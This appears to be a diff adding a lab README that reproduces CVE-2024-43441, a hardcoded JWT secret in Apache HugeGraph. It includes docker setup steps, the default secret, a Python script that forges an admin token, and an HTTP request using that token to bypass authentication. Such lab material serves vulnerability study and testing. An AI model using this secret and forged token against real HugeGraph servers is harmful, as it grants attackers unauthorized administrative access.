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hugegraph/CVE-2024-43441/README.md

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+# Apache HugeGraph JWT Token Secret Hardcoding Leads to Authentication Bypass (CVE-2024-43441)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache HugeGraph is a fast and highly scalable graph database. It provides graph database capabilities with complete features, excellent performance, and enterprise-level reliability.
+
+A JWT token secret hardcoding vulnerability exists in Apache HugeGraph. When authentication is enabled but `auth.token_secret` is not configured, HugeGraph will use a hardcoded default JWT secret key with the value `FXQXbJtbCLxODc6tGci732pkH1cyf8Qg`. An attacker can use this default secret key to generate valid JWT tokens and bypass authentication to perform unauthorized operations.
+
+References:
+
+- <https://github.com/advisories/GHSA-f697-gm3h-xrf9>
+- <https://github.com/apache/incubator-hugegraph/commit/03b40a52446218c83e98cb43020e0593a744a246>
+
+## Environment Setup
+
+Execute the following command to start a Apache HugeGraph 1.3.0 server:
+
+```
+docker compose up -d
+```
+
+After the server is started, you can access the HugeGraph RESTful API at `http://your-ip:8080`.
+
+By default, Apache HugeGraph supports two authentication modes: HTTP Basic Authentication and JWT Authentication. When starting the docker container, it will use the `PASSWORD` environment variable as the default administrator's password. Then you can access the API using HTTP Basic Authentication with the username "admin" and this password.
+
+If you try to access the API without providing any authentication headers, you will receive the following error:
+
+```json
+{
+    "exception": "class jakarta.ws.rs.NotAuthorizedException",
+    "message": "Authentication credentials are required",
+    "cause": ""
+}
+```
+
+## Vulnerability Reproduce
+
+Besides the default administrator's password, we can also use the default JWT secret key to generate a valid JWT token and bypass the authentication.
+
+Generate a JWT token using the default secret key:
+
+```python
+# Install the jwt library by running `pip install pyjwt`
+import jwt
+
+# Generate JWT token using the default secret
+token = jwt.encode(
+    {
+      "user_name": "admin",
+      "user_id": "-30:admin",
+      "exp": 9739523483
+    },
+    "FXQXbJtbCLxODc6tGci732pkH1cyf8Qg",
+    algorithm="HS256"
+)
+print(f"Generated JWT token: {token}")
+# Output:
+# Generated JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg
+```
+
+Use the generated token to access protected endpoints:
+
+```
+GET /graphs HTTP/1.1
+Host: localhost:8080
+Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg
+```
+
+You will receive the following response:
+
+![](1.png)
+
+If you remove the `Authorization` header, you will receive the following error:
+
+![](2.png)